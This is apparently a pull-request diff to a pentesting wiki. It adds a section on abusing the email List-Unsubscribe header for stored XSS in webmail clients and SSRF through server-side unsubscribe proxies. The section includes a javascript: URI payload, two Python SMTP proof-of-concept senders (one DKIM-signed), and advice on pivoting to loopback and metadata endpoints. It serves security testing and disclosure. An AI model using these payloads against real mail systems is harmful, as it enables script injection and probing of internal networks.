Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions src/SUMMARY.md
Original file line number Diff line number Diff line change
Expand Up @@ -375,6 +375,7 @@
- [Objection Tutorial](mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md)
- [Google CTF 2018 - Shall We Play a Game?](mobile-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md)
- [In Memory Jni Shellcode Execution](mobile-pentesting/android-app-pentesting/in-memory-jni-shellcode-execution.md)
- [Inputmethodservice Ime Abuse](mobile-pentesting/android-app-pentesting/inputmethodservice-ime-abuse.md)
- [Insecure In App Update Rce](mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md)
- [Install Burp Certificate](mobile-pentesting/android-app-pentesting/install-burp-certificate.md)
- [Intent Injection](mobile-pentesting/android-app-pentesting/intent-injection.md)
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -81,3 +81,4 @@ adb shell ime help
- **User/MDM**: allowlist trusted keyboards; block unknown IMEs in managed profiles/devices.
- **App-side (high risk apps)**: prefer phishing-resistant auth (passkeys/biometrics) and avoid relying on “secret text entry” as a security boundary (a malicious IME sits below the app UI).

{{#include ../../banners/hacktricks-training.md}}
114 changes: 114 additions & 0 deletions src/pentesting-web/xss-cross-site-scripting/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -1780,6 +1780,118 @@ The [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn

Example [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).

### List-Unsubscribe Header Abuse (Webmail XSS & SSRF)

The RFC 2369 `List-Unsubscribe` header embeds attacker-controlled URIs that many webmail and mail clients automatically convert into "Unsubscribe" buttons. When those URIs are rendered or fetched without validation, the header becomes an injection point for both stored XSS (if the unsubscribe link is placed in the DOM) and SSRF (if the server performs the unsubscribe request on behalf of the user).

#### Stored XSS via `javascript:` URIs

1. **Send yourself an email** where the header points to a `javascript:` URI while keeping the rest of the message benign so that spam filters do not drop it.
2. **Ensure the UI renders the value** (many clients show it in a "List Info" pane) and check whether the resulting `<a>` tag inherits attacker-controlled attributes such as `href` or `target`.
3. **Trigger execution** (e.g., CTRL+click, middle-click, or "open in new tab") when the link uses `target="_blank"`; browsers will evaluate the supplied JavaScript in the origin of the webmail application.
4. Observe the stored-XSS primitive: the payload persists with the email and only requires a click to execute.

```text
List-Unsubscribe: <javascript://attacker.tld/%0aconfirm(document.domain)>
List-Unsubscribe-Post: List-Unsubscribe=One-Click
```

The newline byte (`%0a`) in the URI shows that even unusual characters survive the rendering pipeline in vulnerable clients such as Horde IMP H5, which will output the string verbatim inside the anchor tag.

<details>
<summary>Minimal SMTP PoC that delivers a malicious List-Unsubscribe header</summary>

```python
#!/usr/bin/env python3
import smtplib
from email.message import EmailMessage

smtp_server = "mail.example.org"
smtp_port = 587
smtp_user = "user@example.org"
smtp_password = "REDACTED"
sender = "list@example.org"
recipient = "victim@example.org"

msg = EmailMessage()
msg.set_content("Testing List-Unsubscribe rendering")
msg["From"] = sender
msg["To"] = recipient
msg["Subject"] = "Newsletter"
msg["List-Unsubscribe"] = "<javascript://evil.tld/%0aconfirm(document.domain)>"
msg["List-Unsubscribe-Post"] = "List-Unsubscribe=One-Click"

with smtplib.SMTP(smtp_server, smtp_port) as smtp:
smtp.starttls()
smtp.login(smtp_user, smtp_password)
smtp.send_message(msg)
```

</details>

#### Server-side unsubscribe proxies -> SSRF

Some clients, such as the Nextcloud Mail app, proxy the unsubscribe action server-side: clicking the button instructs the server to fetch the supplied URL itself. That turns the header into an SSRF primitive, especially when administrators set `'allow_local_remote_servers' => true` (documented in [HackerOne report 2902856](https://hackerone.com/reports/2902856)), which allows requests toward loopback and RFC1918 ranges.

1. **Craft an email** where `List-Unsubscribe` targets an attacker-controlled endpoint (for blind SSRF use Burp Collaborator / OAST).
2. **Keep `List-Unsubscribe-Post: List-Unsubscribe=One-Click`** so the UI shows a single-click unsubscribe button.
3. **Satisfy trust requirements**: Nextcloud, for example, only performs HTTPS unsubscribe requests when the message passes DKIM, so the attacker must sign the email using a domain they control.
4. **Deliver the message to a mailbox processed by the target server** and wait until a user clicks the unsubscribe button.
5. **Observe the server-side callback** at the collaborator endpoint, then pivot to internal addresses once the primitive is confirmed.

```text
List-Unsubscribe: <http://abcdef.oastify.com>
List-Unsubscribe-Post: List-Unsubscribe=One-Click
```

<details>
<summary>DKIM-signed List-Unsubscribe message for SSRF testing</summary>

```python
#!/usr/bin/env python3
import smtplib
from email.message import EmailMessage
import dkim

smtp_server = "mail.example.org"
smtp_port = 587
smtp_user = "user@example.org"
smtp_password = "REDACTED"
dkim_selector = "default"
dkim_domain = "example.org"
dkim_private_key = """-----BEGIN PRIVATE KEY-----\n...\n-----END PRIVATE KEY-----"""

msg = EmailMessage()
msg.set_content("One-click unsubscribe test")
msg["From"] = "list@example.org"
msg["To"] = "victim@example.org"
msg["Subject"] = "Mailing list"
msg["List-Unsubscribe"] = "<http://abcdef.oastify.com>"
msg["List-Unsubscribe-Post"] = "List-Unsubscribe=One-Click"

raw = msg.as_bytes()
signature = dkim.sign(
message=raw,
selector=dkim_selector.encode(),
domain=dkim_domain.encode(),
privkey=dkim_private_key.encode(),
include_headers=["From", "To", "Subject"]
)
msg["DKIM-Signature"] = signature.decode().split(": ", 1)[1].replace("\r", "").replace("\n", "")

with smtplib.SMTP(smtp_server, smtp_port) as smtp:
smtp.starttls()
smtp.login(smtp_user, smtp_password)
smtp.send_message(msg)
```

</details>

**Testing notes**

- Use an OAST endpoint to collect blind SSRF hits, then adapt the `List-Unsubscribe` URL to target `http://127.0.0.1:PORT`, metadata services, or other internal hosts once the primitive is confirmed.
- Because the unsubscribe helper often reuses the same HTTP stack as the application, you inherit its proxy settings, HTTP verbs, and header rewrites, enabling further traversal tricks described in the [SSRF methodology](../ssrf-server-side-request-forgery/README.md).

### XSS uploading files (svg)

Upload as an image a file like the following one (from [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
Expand Down Expand Up @@ -1860,6 +1972,8 @@ other-js-tricks.md

## References

- [XSS and SSRF via the List-Unsubscribe SMTP Header in Horde Webmail and Nextcloud Mail](https://security.lauritz-holtmann.de/post/xss-ssrf-list-unsubscribe/)
- [HackerOne Report #2902856 - Nextcloud Mail List-Unsubscribe SSRF](https://hackerone.com/reports/2902856)
- [From "Low-Impact" RXSS to Credential Stealer: A JS-in-JS Walkthrough](https://r3verii.github.io/bugbounty/2025/08/25/rxss-credential-stealer.html)
- [MDN eval()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval)

Expand Down